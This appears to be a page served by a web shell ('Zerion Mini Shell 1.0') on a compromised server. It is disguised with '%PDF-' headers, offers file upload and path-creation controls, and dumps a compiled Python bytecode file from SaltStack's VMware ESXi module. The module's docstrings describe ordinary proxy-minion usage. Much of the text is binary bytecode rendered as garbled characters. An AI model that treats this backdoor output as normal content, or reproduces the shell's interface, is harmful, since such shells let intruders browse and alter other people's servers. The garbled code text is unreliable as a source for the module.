%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/esxi.pyo

�
���^c@@swdZddlmZmZmZddlZddlZeje	�Z
dgZdZd�Z
d�Zd�ZdS(u	
Glues the VMware vSphere Execution Module to the VMware ESXi Proxy Minions to the
:mod:`esxi proxymodule <salt.proxy.esxi>`.

.. versionadded:: 2015.8.4

Depends: :mod:`vSphere Remote Execution Module (salt.modules.vsphere)
<salt.modules.vsphere>`

For documentation on commands that you can direct to an ESXi host via proxy,
look in the documentation for :mod:`salt.modules.vsphere <salt.modules.vsphere>`.

This execution module calls through to a function in the ESXi proxy module
called ``ch_config``, which looks up the function passed in the ``command``
parameter in :mod:`salt.modules.vsphere <salt.modules.vsphere>` and calls it.

To execute commands with an ESXi Proxy Minion using the vSphere Execution Module,
use the ``esxi.cmd <vsphere-function-name>`` syntax. Both args and kwargs needed
for various vsphere execution module functions must be passed through in a kwarg-
type manor.

.. code-block:: bash

    salt 'esxi-proxy' esxi.cmd system_info
    salt 'exsi-proxy' esxi.cmd get_service_policy service_name='ssh'

i(tabsolute_importtprint_functiontunicode_literalsNuesxicC@s tjjj�rtStdfS(u
    Only work on proxy
    uJThe esxi execution module failed to load: only available on proxy minions.(tsalttutilstplatformtis_proxyt__virtualname__tFalse(((s5/usr/lib/python2.7/site-packages/salt/modules/esxi.pyt__virtual__,scO@s,tdd}|d}t||||�S(Nuproxyu	proxytypeu
.ch_config(t__opts__t	__proxy__(tcommandtargstkwargstproxy_prefixt	proxy_cmd((s5/usr/lib/python2.7/site-packages/salt/modules/esxi.pytcmd6s
cC@std�S(Nuesxi.get_details(R(((s5/usr/lib/python2.7/site-packages/salt/modules/esxi.pytget_details=s(t__doc__t
__future__RRRtloggingtsalt.utils.platformRt	getLoggert__name__tlogt__proxyenabled__RR	RR(((s5/usr/lib/python2.7/site-packages/salt/modules/esxi.pyt<module>s		
	

Zerion Mini Shell 1.0